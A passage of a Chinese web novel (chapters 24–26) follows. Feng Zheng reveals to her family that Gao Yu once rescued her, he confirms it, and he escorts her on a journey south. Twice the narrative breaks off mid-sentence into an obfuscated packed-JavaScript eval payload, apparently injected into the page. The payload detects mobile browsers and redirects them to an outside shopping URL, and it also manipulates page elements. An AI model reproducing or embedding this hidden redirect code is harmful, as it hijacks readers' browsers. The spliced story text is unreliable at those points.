“娘知道,你一直都是个克己复礼的姑娘,并非有意去趟什么雷池,但是行事总得注意分寸。高郎君与咱家沾亲带故,哪怕亲缘关系弯弯绕绕,按条理说他也是你舅哥,你一个姑娘家又是晚辈,何时能学会主动避嫌?” 冯筝投去视线,云雀耷着脑袋羞愧至极,一眼都不敢看她。 原来云燕的提醒不全是挑唆,她别开眼,没想到捂来捂去,茶饼的去向还是得败露。 不过现在已经没什么好瞒的了。 “他之于我,仅仅只是三舅哥吗?”冯筝钝钝扭过脸,惋惜暗叹,“高郎君之于我,岂是舅哥这样简单的称呼能概括的。” 此话一出,满座大惊失色,冯公握着沉檀乌木的扶手静默不语,迟迟没有出声,冯筝调转话锋。 “外面的人都说祖父如何守信重诺,祖父赚得一兜好口碑,怕是只有我知道,你的公道,当真难等。” 冯承琨忍怒,“阿筝,不能对你祖父无礼!” 冯筝坐姿端庄,没有半点认错的自觉,只最后一遍望了眼庭院。 灯笼光芒黯淡,只够照亮一小片台阶,台阶往外静悄悄的,每一声虫鸣都在催她孤军奋战。 首座两侧,谁都不知道她在等什么,又或者她纯粹想要看看夜色,孟秋几乎以为女儿魔怔了,冯筝回头,眼底分明清亮漱雪。 “襄阳崇祝寺的山脚下有一条春江,爹娘来接我的那天,我跟爹娘提起过一位恩公,他就是顺着春江前行,用他绣囊里的银钱哄我告别……” 至此,冯筝把旧事毫无保留地交待了出来。救她的善贤自称刍荛,接济她的刍荛全名高豫,种种实情示了众,郁积多年的心事落了地,却没感到片刻轻松。 “如果不是出公差的高豫发了善心,如果不是他认出匪贼,搭救我后送我就医,我如今,只怕是生是死还未可知。当初我顾忌自己清白不复,他为了治愈我的身心煎熬,在我面前放低姿态,用糖块挑起我微弱的信心,告诉我生活最重要的就是惜命……” 惊愕捂嘴的蘅娘,频频走神的阿伯,手足无措的双亲,他们将信将疑的脸上布满猜疑,冯筝强作坚韧,鼻尖还是涌上了酸楚。 好难得,不用手帕蹂躏,眼眶也红得彻彻底底。 她快步走到堂屋正前,倏地提裙跪下。 “高豫他自嘲罪臣后裔,劝我莫要跟他挨边,他制止我打破亲疏照拂他,可我只是给他端了碗解酒汤。一文钱不值的解酒汤,偿还银两都不够,他这点恩惠都要计较,一句话就把恩情两清,他小气又大度,桩桩件件,却都在提防会害冯家惹来非议。” 高蘅呜咽出声,云雀忍着哽咽维持体面,暗求姑娘不要再说,然而冯筝不依不饶。 “好残酷,认出高豫的那一天,我本是抱着看热闹的心态来见他,谁知这世道就爱乱开玩笑。我原以为,比药膳更苦的是我的遭遇,想不到比我苦的大有人在。我知道时人对他怀有偏见,人都有趋利避害的本能,别人如何疏远他唐突他,都不要紧,但在意我的亲族,至少不要折辱了他。” “我感恩戴德地说这些话,不求家人如何厚待他,不求家人如何酬谢,只想告诉各位尊亲,高豫论迹论心都是君子,他先是善贤先是恩公,然后才是我阿伯的妻舅。” “娘,高郎君之于我,不是舅哥这样简单的称呼能概括的。如果真的要论亲伦避嫌,那也是在出阁以后。在那之前,我可能还是得关照他的……所以以后,比起对我些微的关照指指点点,口舌纷争之上,还望诸位,饶过阿筝。” 说完,她庄重地叩拜下去,不敢受礼的陪侍退到两旁,唯恐承受家主盛怒,同时也于心不忍,祈祷这段波折就这样过去。 冯筝这一拜叩得很实,额头磕到地面,此起彼伏的惊呼声中,双膝莫名离了地,一只手轻巧地托起她胳膊。 安排都是失策的,预想好的事都变得乱糟糟的。 她扭头看向拉她的人,强硬垒起的意志,在失算的结果前软绵绵倒塌,她对高豫的出现没有惊喜,只觉得自己丢尽了脸。 他没有对长辈邀约视若无睹的轻慢,没有擅闯他人家宴的狂悖,膳堂家宴已散,他是因为不想打搅姊婿家宴,所以才挑这个时候拜访的吗? 他穿着白襟靛蓝底的长裾,显然出门前耐心打理过一遍。他凭晚辈的身份主动登门,不惜换上新衣以示尊重,会猜到临到人前,却被推入这样一个尴尬的处境吗? 对于任何酬劳和谢意,只要他想,他就能有千百种说辞推搪,但他还是来了,接的是惠安酥糖,也更是人情。 高豫掌心发烫,握住她胳膊的手没有松开。 观察着这群表面有礼,实则神情复杂的一干人等,他从庭院一路走来,晚风送来她贵重的话,高豫已经了然一切。 吴嬷扑到他腿边,大声跪谢善人大恩,感激涕零的腔调中,众人陆续起身注目。 高豫备受瞩目,一手扶起仆妇,一手将冯筝拂到身后,终于面朝首座,说出了自己进门以来的第一句话。 “很意外。” “我是听贵府说过会备礼答谢,未曾想,备的是个这么大的礼。” 24. 第24章 冯筝站在他白襟靛蓝底袍裾后,盯着他革带束出的腰封一角,其上两粒宝珠暗扣,可能是他浑身唯一奢侈的东西。 那些或审视或涕零的视线,在他的遮挡下,全部加注在他一人身上,冯筝骨鲠在喉,觉得事情不该是这样的走向。 高豫一语双关,前者在指酥糖之赠,而后更大的礼,完全超脱他的预想。 听他讲出这般感想,她有些惭愧,若非她自作聪明,非得这时候挑明过去,他获悉冯公回城,本来是可以安安稳稳地走完这一趟探望的。 那样一来,双方都可以有一个体面的结果,何苦闹到这样难收场。 堂庭微风阵阵,高豫背朝隔扇门,风吹动那衣料,袍角如翼翻飞,冯筝打了个哆嗦,失态地咳嗽起来。 孟秋、冯承琨等凝滞半晌的人终于有了动作。冯公呼唤福登赐座,陪侍们摆座添茶,把惠安产的酥糖也献出来待客,前后气氛相差之大,显然襄阳旧事摆到明面上,对这家人来说也是个意外。 高豫的眼神极轻地抬了一下,不轻不重,刚好让斜对座的冯筝接收到责难。 事实是她会错了意。 高豫点她,不是责怪,乃是因为她站在被动的处境下宣扬他善迹,不惜牺牲身段,恳求家中饶过她,也要坚持对他报答和照拂,这事说小也小,往大了说也很严酷。 因为但凡他不认,长辈面前,她这就是忤逆和蒙骗。 她冒着忤逆蒙骗的风险坦白这些,高豫并不觉得,她信任他,会信任到相信他面临抉择,一定会选择站稳她阵脚,而不是坚持两清,否认她,推翻她此前一切言说。 比起这种过于单纯的信赖,他宁可相信她自作主张之前,完全没料到亲人猜疑之重,会显得她所言种种都是一面之词,以至于需要他的配合,才能给此事盖棺定论。 堂中两房人都有些懵。 高豫是恩人、晚间他又突然造访,出乎意料的事一桩接一桩冒出来,直到冯公吩咐赐座,用酥糖谢过他的疏通,众人才知道,冯公谢的,其实无关冯筝那则恩情。 冯承纲豁然开朗,之前的困惑也有了答案。父亲谢过高豫在惠安郡的搭救,看来慎刑司的刑差之所以好交涉,是因预先经过高郎君疏通。 众人便慢慢悟出,高豫此行是来探望人的,碰巧赶上趟,撞上冯筝拿他牵扯往事。 然而,他没有顺着冯公这则话题下坡。他明言道,“惠安郡的事,没有冯姑娘冒雨赶来知会,我也不能及时做出行动,实在要谢,这些酥糖应分她一半。不过诸位,冯姑娘之前所言,并非她的一面之词。” 霎时间,热闹重新沉寂下去,那些消融的冰碴子重新凝结。 相对的,期盼姑娘能如意的吴嬷等人,那些踊跃又失落的心情重新振作起来。 “三年前,在我还是睦州观察使的时候,我微服查案,偶然救下贵府千金。那时的我困在襄阳腹背受敌。她状态不好,我借驿令之手,替她联系家眷后,勉强把她放在医馆,打算回司衙呈报案情,事后发现我自己也走不脱,便善始善终承担起了照顾之责。” “很惭愧,人是我救的,就这么撂下很丧良心,好在最后没那么做。结伴月余,她有好好照料自己,我不曾近身,她对我也谨慎提防,关于清誉,诸位姻亲大可安心。” “说来更惭愧,曾经的我自称刍荛瞒她,未曾想过透露姓名。从古至今,萍水相逢之人很少能再见,杏山脚下雾满拦江,拦的便是我们的未来。谁知世道编的玩笑,就这么令人啼笑皆非,谁知我未来的姊婿,恰好就是冯姑娘阿伯。” “阔别三年间,我经历过很多事,遇见过许多人,那些善恶是非,渐渐磨灭了我的感情,使我很长一段时间都疏于表达,情绪也越来越清淡。我们二人交情不深,那天庭院前认出她,我却体会到他乡遇故知是什么感觉,动容之至,这才冒昧冲撞到她。” 高豫细说至此,对上她惊疑不定的眼神,最后给出他的态度。 “冯姑娘,我没那么好,也没那么糟糕。此前我确实顾虑很多,但听你一席肺腑之言,当你一声善贤之称,今夜这趟拜访,我想是我乐意之至。” 他这一席话,比当初她一句“高郎君之于我,岂是舅哥这样简单的称呼能概括的”还要惊人。 冯家两房愣住,一时都忘记了出声。 孟秋身后,云雀抖成筛糠,她激动颤栗,不知道这是什么心情。酥糖她一块也没尝,竟然觉得满屋子都甜丝丝的,像她吃过的拔丝糖浆,藕断丝连的甜快要把她喂饱。 一直沉默着的冯公站起来,笑意终于藏不住。 “三年前的旧事,我帮哪边说话都是偏私。阿筝先提,有人会疑我偏私孙女,高三郎先提,则会疑我偏私故友之子。” “当年的实情,他们两人再清楚不过,如今双双把话说开,细节必然经得起查证,也没必要编造谎言闹到人前。今夜发生的事,由不得任何人怀疑,但凡有人敢嚼舌,又或者是大肆声张,那就是嫉妒心作祟,嫉妒他们情谊纯洁。” 话说到这份上,已经很公道了。 冯公走出,面朝高豫作揖一拜,众人缓过神来,纷纷朝恩人跪拜下去,高豫哪能受此大礼,很快把他们扶起来。 屋里闹哄哄的,高蘅和冯筝起身站在座位边,对视一眼,都有各自的无所适从。 高蘅无措,是因满堂冯家家眷,唯独她不合适跪。冯筝无措,是有些恍惚,事情兜兜转转,还是回到了她最初预想中的那副样子。 亲人感激涕零,她无法独善其身,上前挽住母亲的胳膊,望向高豫,曲膝朝他过了遍礼。 孟秋泪流满面,别过头,想起当年的煎熬和忧伤,对高豫的感激不比旁人浅淡,她擦干泪配合众人待客,屋里重新热络起来。 至此,高豫往那儿一坐,就是实打实的贵客,恰巧他袍服华美,若有犀金色玉带往腰上一挂,妥妥的荣华无边,富贵昭彰。 稍候,果真有人前来献宝。 冯承纲手捧一条玉蹀躞出现,不顾高豫的推辞就给人佩戴。 “这是父亲的意思,阿筝是冯家嫡女嫡孙,她的性命是你救下,一点薄礼,请高郎君务必笑纳。” 这条玉蹀躞,原是冯公致仕前,官服上的一道配饰,作为上善赐留的品级之物,已经失去它曾经品秩的象征,所以赠予黎庶也没有问题。 冯筝以前从未见过此物。看到祖父其实有比茶饼还要珍贵的宝贝,她眼红一瞬,但转而就鼓动高豫收下。 高豫却之不恭,感谢冯公慷慨馈赠,好一会儿,前堂恢复了往常的和睦。 茶过两巡,还未到申时,冯公陪着晚辈们说话,笑意始终不达眼底,趁众人其乐融融,问,“接上我之前问你的话。阿筝,你还愿不愿意去淮阳见你表姑母一面?” 经过一番变故,孟夫人的态度变得松软,但这事重提,还是有些拒绝之态。 冯筝被祖父问住了。 此前关于探亲的说辞,都是她引出刍荛善举的铺垫,此刻真正思索起探亲,表姑母慈溺的面容才浮现在脑海。 寄住淮阳的记忆有些模糊,她笑了笑,眼底闪过孺慕的温情。 符夫人深谙教养之道,淮阳远近,对后辈以苛责著称,但或许是怜惜她寄养的缘故,对她常常暗怀偏袒。 话说早晨训诫子嗣时殃及到她,夜深人静之时,她又偷偷捎来蜜饯示好。 “江阳摊商喜甜,自专做糖,只管叫伙计使了劲放糖,我吃不惯,却每次都愿意将它全乎地吃完。” “后来有一日,蜜饯被表兄发现,他告发到表姑母跟前,以蜜饯出自后厨为由说我偷盗。表姑母气急,当众打了他十八个戒棍,她讲清蜜饯来处,袒护我的事情也由此败露出来。” “好在以后,表姑母再也没有向我塞过蜜饯了,而我也不用再受这甜牙之苦。” 她自顾自说着困扰的话,劫后余生般叹出一息,嘴里说苦,笑意却真诚。高豫坐姿沉稳,所有神情都被他巨细靡遗地纳入眼中。 高豫至今都记得,三年前她遇匪获救后缠绵病榻,偶然半梦半醒,梦话迷茫又遗憾,那时他曾耐心地问,除了归期不定的迷茫以外,她到底还在遗憾什么。 是遗憾她驰援不到的亲人,还是遗憾她被迫告吹的行程? 沉睡的人不会答复,醒后也不会给出回应,当她的病情渐渐好转,当探病远亲的失望溢于她言表,高豫对后者也能感知一二。 说实话,事情过去这么久,表姑母已经康健无碍,冯筝对于探亲的想法,并没有那么强烈执拗,如若母亲坚持反对,她也愿意向母亲服个软。 她便如实将想法告诉祖父。冯公沉思半晌,眼角皱纹挣扎很久,之后,忽而说起他在寿宴时的见闻。 “此前我应一则邀帖,出门为故旧前中郎将誊写贺序。” “酒宴半程,宾朋唱辞,不料转眼间,前有慎刑司越过地方宪司,赫然包抄寿堂拿人,后有前中郎将撞柱自裁,血光染红他半幅锦袍。” “刑差及时控制了他。” “栽进谋逆之流,等同死罪。他惋惜自己时日不多,只求能吃一碗寿面,慎刑司允准了他,以防又生差池,洪徵明接过碗筷,亲手给他喂这碗寿面,但最后,还是被他服毒自裁。” 热茶之上腾起的雾,如过眼云烟稍纵即逝,冯公垂眼,悲戚翻涌:“手沾金纸,落笔忌悔,我应邀登堂誊写贺序,于是,好好一出恭人过寿的贺联,到头来,却写成了供人治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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父亲和阿伯陆续出声,面对高豫,依旧那么客套守礼,但她清楚,那一声声“回路平安”里,都是真情实感。 高豫准确望过来,轻点了下头,冯筝似懂非懂,以为算作告别,高豫道,“冯姑娘,我好像落了东西。” 她便又似懂非懂地应下,一趟来回,门前早已恢复清静。 他脚踩银蹬跨上马,青年蹀躞带缠腰,暗雕的鳞纹密如寒星,她径自上前,一把将酥糖塞进了鞍袋。 他有话单独说,所谓遗落东西只是托词,但这托词不能被挑理,所以用酥糖应付准没错。 果然,高豫欣赏般点点头,冯筝暗暗得意,也没得意太久。 料他出手帮她应付局面,“乐意之至”的话不能当真。她提醒自己,对他那番说辞不能太较真,然后安心等着他的责怪,责怪她自作主张“摆他一道”。 然而他只是轻轻地说。 “答应我,以后不要轻易就跪了。” 冯筝语塞,因马匹和她胸脯等高,只能从下往上稍稍地瞭,略带气音,“若非情势所逼,谁愿意动不动就跪呢……” 他就笑笑没有接话。 其实她自己也有事想说,奈何临时没想起来。骏马喷一道响鼻,冯筝后退了下,没再多问什么,简单道别,而后背朝府门离开。 高豫久久凝视这边,忽唤她的名姓。 “冯筝。” “嗳。” 冯筝旋踵回身,高豫看着她。 “你从来不是个自寻苦恼的人。” 没头没尾的一句话,她这就想起,她其实是在纠结,要不要跟他去淮阳,想要问的事也和它相关。 自打前堂出来,她纠结的表情就写在脸上,旁人看得分明,她自己倒是抛诸脑后。 冯筝呵呵苦笑,懂得他话中深意。 想当年蛰居卧病襄阳城,她想推药碗就推了,于是药碗碎了一地;她想雪恨雪耻就表现了出来,颤着筷箸那股悲催劲儿,还不是引高豫帮她端了贼窝。 冯筝意会,“是啊,有难题就解决,纠结来纠结去纯属自讨苦吃。” 但她终究没问他什么,只因纠结的根源不在于路途遥远或辛苦与否,而在于娘亲的首肯真不真心。 有限的停顿里,晚更的钲锣声远远响起,砚巷两人迟迟没动,高豫忽道,“如果实在没想好,实在拿不定主意,就去求一支出行签吧。” 冯筝思绪骤停。 “签意好就去,不好就不去。听说宣城的宅眷参禅悟道,出门前多爱求签问路,你不如效仿她们。” “无论结果怎样,我都会等到你的答复再动身。” 25. 第25章 在香积寺求过一遍的姻缘签,和出行签貌似没什么两样。去淮阳探亲等同于出远门,前后的事情暗暗应验,预先做过的事,又和他无心的建议微微贴合,冯筝定在原地,后颈皮酥酥麻麻起了层颤栗。 高豫信口一提,没有干涉她的想法,他需赶在宵禁前出城,她便没有多余讲这些。 一路小跑回去,掠起裙幅边垂挂的禁步穗,回到空空的前堂独自坐下,冯筝还在想,这巧合发生得有些胡闹。 拿不定主意的话就听签意的,高豫是这么提的没错,可把选择寄托在求签上,本就是走投无路之人的下策。她已经想好要去淮阳了,就没有再去纠结的道理。 高豫月底才启程,趁还有时间,她还有许多未尽之事要做,试探娘亲的首肯便是之一。 回房好好睡了一觉,隔天醒的晚,随意对付了一顿早膳,就匆匆走到后宅请安。 晚些的时候,府里招进了一些能打的练家子,都是陌生面孔。 他们身材魁梧,年轻悍利,拟在配院这边比试武功,冯家府邸不大,领事的嬷嬷生怕冲撞了女眷,赶紧把人往配院里赶。 二房闹出的动静,吸引附近的婢女红着脸张望。难为冯承琨一个儒师,拿出平时考验学生的狠厉,给女儿挑选出行的武护。 远处阵阵聒噪,冯承琨扭头一看,发现莺莺燕燕堵了院门,脸色难看至极,嬷嬷眼神一紧,麻溜地赶她们滚回去做事。 内宅,孟夫人握了握手心,把一枚平安符交给女儿。她清晨去庙里求这个,态度已经不言而喻。 冯筝眼眶酸胀,拟了一宿的腹稿都多余了,攥紧平安符贴在心口,告诉娘,这次出门会多多小心。 配院那边,冯承琨做了两手准备,若女儿不去探亲,那武夫他就聘作陪嫁,笃意要去就聘作护卫。孟夫人没把这些考虑全告诉她,遥想往事,摸上女儿脸颊。 “你爹年轻的时候郁郁不得志,秋闱总是挂在末榜,在京城压根难熬出头。起先啊,他其实不太乐意窝在小郡城只做个夫子,我就劝他,低微自有低微的福。你爹抱了抱你,他没说话我也知道,那个时候,他便已经想通,这安宁的生活,有你的福气也不错。” 说着,语调又歉疚起来,提起昨夜前堂,拂她脸面还揭了短的事。冯筝忙道无碍,孟夫人抚上她发顶,她便温驯垂头供她抚摸。 孟夫人教她遇事不能逞强,护卫是花银子雇的,这钱就得花得值当。 如今心结已解,还能让孟夫人思虑的,无非这一来一回耽搁月余,和胡家的婚事也得搁置。 温声细语转了口风,让冯筝立刻抬起了头,化用绸布庄何绣娘的话道,“都说好事多磨,若真是属于我的好姻缘,料谁也抢不走。” 她面若桃李,眼瞳清丽,梨花白的缎子裙铺在短榻上,如被世间最纯净的雪围拥,孟夫人怔怔看着,一颗心柔软成泥。 见女儿把平安符放进绣囊中,闲聊之余,忍不住说起早晨时的一桩见闻。 香积寺位于香积山宝地,又有前朝的朝霞元君祠坐落,这些年,参禅悟道的宅眷越来越多,庙里的香火也越来越旺盛。 然而今早去的时候,曾经香客络绎的庙殿,侧门前竟有些吵闹。 孟夫人吩咐厨间煎了副药膳,给药碗拨沫,说着香积寺如何闹事者群集。 闹事者多是香客,他们问姻缘,问出行乃至问子嗣,签筒里出的都是一样的签,话说“莲步签”解释前两者,或许还说得过去,遇上问子嗣的可就离谱了些。 他们拿着签筒里清一色的莲步签,纷纷找庙祝理论,庙祝汗颜,推脱成沙弥打理签筒时出的过失,香客不接受,庙祝赔了好一顿礼,这才把闹剧收尾。 冯筝服用完药膳,想起自己求到的也是“莲步签”,对母亲说的闹剧,由惊讶变得轻松释然。 一切应验都有了解释,闹了这样一出乌龙,再看高豫信口提起的建议,便也没那么玄乎了。 后面的日子过的很快,未尽之事也慢慢料理完。筹备行李,挑选武卫等事有府里照看,一连出晴好多天,吴嬷张罗着要给姑娘晒被褥衣裙,一件件箱笼抬出来,不知情的以为她在搬家。 冯筝扶额,上前制止,“阿姆收收手,我月余后还是要回来的,这趟主打一个轻装简行,被褥春衫什么的都不用带!” 吴嬷往后稍稍腿,窘迫赔笑。院子里好不容易安静了一会儿,窗棂边,探近一个呼唤的声音。 “筝娘——” 女人云鬓簪珠,碧绿的珠翠衬得她气色姣好。眼前一幕,和不久前她背接雨幕,窗前唤她伯娘的画面重叠在一起,冯筝没由来发笑,赶紧将高蘅请进了闺房。 冯筝手里摊着本刑科律籍,云燕伺候笔墨,时不时给她递来颗酸枣,殷勤得惹眼,引高蘅看了她好几眼。 冯筝把云燕屏退,合上书籍,含笑看着她,“伯娘有事找我,知会一声侄女便来,何需亲自来请?” 高蘅挥退身边仆妇,强颜欢笑着先没说话。前阵子,若非孟夫人怼符管事的时候提到她出阁,她这伯娘,怕是还不知道她和胡家相看的事。 高蘅有事相商,或者说有事拜托她,握着帕子的手探进袖笼,仔细着门外没有动静才道,“我本借故路过,说两句话就走,如今坐都坐下了,也不好再跟你打马虎眼。” “伯娘有个不情之请,需给你一样东西,请你帮个忙,择机转交给三郎。” 她停顿住,倒没直接阐明转交何物,藏在袖笼里的手隐隐握紧。 “三郎就职睦州时,回京次数不多,不想当年突逢家变,一应后事都由他料理。从父亲到我,婚丧诸事繁琐,所以随三郎迁居祖地后,我见他的次数依然很少。” “碍于父辈罪身,我们无法请宾客吊唁,只能私下给父亲送灵。那时他一身缟素治丧,腰间缠挂丧绦,而丧绦所缠家玉,却不是弱冠之年父亲给的那块。” “那个时候我才发现,他常带的玉佩没了踪影,原以为他是厌倦了,直到听说你们在襄阳的事,听说他用玉佩救了人,才知道,里面还有这样一桩渊源。” 高蘅垂头,随后从袖笼中掏出一块帕子,层叠揭开,赫然就是一块玉佩。 冯筝心头突跳,继某个荒唐的念头被冷静压下后,高蘅看出她的误会,讪然解释,“这是长兄的遗物。” “是进诰狱前,案犯尚未分开关押以前,长兄生怕挺刑不过,瞒过搜身的狱卒,遗留给我当时他身上仅有的家财。” 话落,冯筝忽而听出别的意味。 原来高相赠玉,是他对子嗣一并有的待遇。原以为高豫及冠后受父亲赠玉,对他来讲有什么特殊意义,看来一切都是她在替他自作多情。 伯娘怜惜兄长流放边陲,本身没什么错,可是找到她跟前,多少有点病急乱投医了。 但高蘅本人并没这么想。 高蘅提起长兄,不似以前潸然含泪,而是果断将玉佩塞到她怀中。 “我知道,三郎待我等亲眷不薄,然而我还是盼着他能眷顾亲伦,眷顾我们亲情一场。之前我提过搭救长兄的事,他虽答应过,但到底应得勉强,这远远不够。” “他行走庙堂多年,总归是有门路可求的。襄阳的事情,他连嫡姐也瞒,可见跟我有隔阂在。事关搭救长兄,三郎婉拒过我一次,我若再劝,他定然不肯理睬,好在筝娘,你的话他是听的。” “那天夜里听你们一席话,看出了三郎跟你交情匪浅。我知道,以你如今待嫁的身份,理应跟外男避嫌,做这个不方便,但是这件事,怕是只有你才能办到。” 冯筝作势推脱,不明白她这句论断从哪里来。她跟高豫,除了一点搭伴生活过的情谊,说白了就是报恩和受恩的关系,哪里当得起一句交情匪浅。 听她一通恳请,冯筝也明白了,她是要她择机将玉佩交给高豫,只求他能睹物思亲,去救还远在边关受苦的高振。 冯筝为难地笑,“我人微言轻,我的话他未必能听,何况他只是提出陪我同行,未必会把我送到淮阳。淮州城池众多,我们说不定会在哪里分开,一不小心错过好时机,又怎么来得及替你转交玉佩呢?” 这副理由未能将人劝退,高蘅眼瞳微微一顿,对她未能理解之处予以体谅,“他自比伴驾,护送你的意思清清楚楚,他既然在冯公面前提起,本意就是负责你南下的安危。” 高蘅见她险些动摇,握住她还要推拒的手,“筝娘不要有负担,没帮到伯娘的忙也不要紧,倘若没给出去,改天你了回府,我再向你讨回来便是。” 高蘅说完这个,想起那夜她一番照拂的话,转移话题又说别的,“这一路上,筝娘没必要太照拂他,虽说上面给他革除了功名,但按照大律,职田不能留,俸钱还是有的,他先前的俸禄攒下来,倒也剩些散碎家底。” “高家家产充了公,他将俸钱挪作贴补婚丧,这才显得左支右绌,如今事情都解决了,囊中应该大有余裕。男子行走在外,总归有些难言的自尊,所以,在银钱一事上,筝娘莫要向他施善。” 高蘅细心嘱咐,冯筝衡量再三,当意识到高豫声称去淮州讨债,留在宣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950031|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城的日子便也结束,他们并非来日方长的时候,就觉得临大事前,不管是为了伯娘高蘅还是大舅哥高振,帮高家人做点什么也未尝不可。 高豫提议同行,或许他没别的意图,只是趁着有限且即将耗尽的闲暇,纯粹想要送她一程。 而这也是她作为他的故人,如送张季安调任时那样,和他一并都有的待遇。 挺朴实的一个道理,冯筝接受得心安理得,也理所当然地将玉佩接过。 高蘅露出感激的笑,这笑一直持续到她踏出闺门。月底那天,天边泛起鱼肚白,府门前,两辆马车整装待发,高蘅暗暗朝她挤眉弄眼。 冯筝会意,逆着高豫的背影轻轻颔首,高豫和冯公谈论着路上事宜,没空管这边的眉眼官司。 须臾过后,冯筝也见到了新的护从。两护从都是生面孔,如出一辙的体魄魁梧,肩宽腿长,显然是家中甄选出来的,她的眼神不自觉往二房那边飘,就轮到冯承琨朝她传递眼色。 她哭笑不得,临出发的时候,跟亲眷拜别,环顾一圈,没找到云雀身影。 吴嬷凑过来解释,“她没脸见你,何谈陪姑娘上路,倒没想到,连送行都不敢来了。” 吴嬷腿脚经不起远途劳顿,姑娘此次出门,至少得带云燕一人,云雀没来,冯筝却没有再挑人的心思。 知道姑娘素来自便,用不着伺候,吴嬷没多劝,只祝姑娘一路安康,忽然眼前有什么一溜烟过去。 云燕跑出来,看到扶着姑娘登车的云燕,眼底醋意发酸,对上姑娘回眸,又顷刻只剩下愧疚和羞耻。 云雀塞给她一只铜手炉,扭头就跑,吴嬷嘲弄调侃。 “嗬,姑娘后面的箱笼里,足足装有五六个汤婆子,不缺你这一个呢。” 冯筝就笑,“缺的缺的,我正愁手凉没东西暖暖。” 云雀扭过酸胀的眼不敢看她,冯筝也漫无目的地挪开视线,语调上扬,轻松明快。 “……你们这些守家的小丫头,替我好好照顾好母亲才是。” 宠溺的笑音,和她的脸容一并消失在车帘后,云雀蓦然回首,再也绷不住呜咽出声,她泪如雨下,还是吴嬷走过去拍背顺气。 “好了,夫人挑的出行的好日子,你这时候晦气地哭,岂不是要讨夫人的骂。” 云雀这就收住眼泪,最后望了马车一眼,跟紧门前的孟夫人一块回了府。 出城的路上车辙辚辚,或许是这天宜出门,主街的街道上一路汇入许多车马。 门帘随风轻晃,映出两护从驱车的身影。 云燕早早给她报了信,护卫是两兄弟,听说武艺超群,此刻拉着辔绳坐在车板上,缀在骑马带路的高豫后面,活像俩跟班。 以至于她有种错觉,但凡她不露面,外面的人很难分清她和高豫谁才是主子。 城门路有点堵,趁着行程停顿,冯筝想了想,试图和高豫商量下在襄阳绕道的事。 恰逢两护卫下了马车护驾,他们一个接一个穿梭到窗边,挡住高豫侧影,她只当他们例行差事,耐心等着他们绕开。 碰巧高豫走到另一侧,给守城的官兵交度牒查验,她跟着转向另一侧窗子。 高豫似有所感移来视线,她刚欲唤“三郎君”,又被碍眼的护卫遮了个严实。 说实在话,她对待仆婢随从向来随和,只要不是要紧的事,她能惯着的都惯了,但他们此举,针对谁实在明显。 一路上,对待高豫这位座上宾,两人无处不恭敬礼让,却又无处不多心提防。眼看两护卫把高豫当贼来防,冯筝笑出声,笑得始终肃着脸的护卫差点露出破绽。 他们是冯二爷聘来的,看似多余的举动,实则来自冯二爷的吩咐。 冯筝不知道除了护她安危,父亲还交待了他们什么,也不明白他们这样提防高豫,是蠢笨到会错父亲的意,还是父亲确实蓄意提防——提防高豫“美色当前”生贼子心? 冯筝刚刚还笑着,思及此,顿时没好脸色。云燕察觉姑娘阴晴不定,面露关切之色,也怪道城门的官兵实在磨蹭,没摸准姑娘到底在焦虑什么。 车帘自从挂上去就没放下来过,只留一层软纱透气,映出护卫巡逻的身影。 冯筝起先好脾气,晾着没管,哪知护卫闲不住,一来二去转悠着出现,绕得她竟开始眼花。 忍无可忍无须再忍,她撩开软纱,枕在窗框边,扶腮守着他们又一遍经过,终于发话,把人支走。 “吃撑了饭就到别处转转,你们绕着马车兜圈子,防贼也不是这么个防法。” 26. 第26章 “从康远郡取道扶陵郡,再往南走抵达淮安,剩下路程就都是陆路了。比起行船,陆路脚程可控,我们若动身及时,还能在十月底前,赶上淮阳人的寒禽宴。” 高豫俯眼望来,告诉冯筝行程的打算,也是听取她意见,若有别的想法也好提前改动。 寒禽宴又称柿宴,是指霜降前后,各地食鸭禽、丁柿等御寒的集宴。冯筝读过地方志,大致了解过一些物产风俗,没接这话,只知道他处处不提襄阳,却又处处绕过了襄阳。 算起来,高豫并非多此一举,毕竟对冯筝而言,蛰居卧病襄阳的岁月不算美好,哪怕命运怜惜,能让她回到过去改变什么,她也不想重新再经历一遍。 他松了缰绳跟在车壁边,驱车的护卫便无计可施,又或者说,早在出城前的那刻,就被她阴阳怪气怼沉默了。 冯筝心情美了些,笑起来,琥珀瞳裹着一圈清水,说没有意见,就按他拟定的路程走。 按舆图走了一半的路,抵达扶陵郡的时候正值傍晚,而哪怕路程行进过半,冯筝还是没如高蘅所愿,劝他回心转意搭救高振。 她是想看到高家长兄获自由身,看到高家余孤都否极泰来,却不想如高蘅所为,用亲伦大义束缚他,提醒他遥远儋州,去年狱事还未了结,用这种剜人痛疮的方式逼他就范。 所以不到万不得已,她不会把高振的玉佩送到他跟前惹眼。 扶陵郡的客栈设在闹市之外,客房和车驾都安排妥当后,云燕挎着篮子,出去买些新鲜的零嘴。 没走多远,看到枣糕铺子前热气腾腾,她停了一停,刚掏出铜板,忽然间被人一把捂住嘴拖进了巷角。 正要呼救,对上女妇一双怨毒的眼,云燕一惊,“娘!” 云燕老家正是扶陵,五年前她经牙行介绍,签了奴契,到宣州一户殷实人家里做奴婢,赚些银钱贴补家用。 女妇布襦缁履,头顶扎一根布条,一口流利乡音指责她。 “赵兰香,娘真是白养你这么大了。不提五年奴契满了,你主家早该放你回来,就说你到了老家,竟也不晓得回家看看,亏我还跟那群亲戚吹捧,说你如何体贴孝顺,你真是打的娘好大一个巴掌。” 赵兰香是云燕本名,好久没被唤过名字,恍惚间竟有些生疏,但云燕清楚,事情根本不是娘讲的那样。 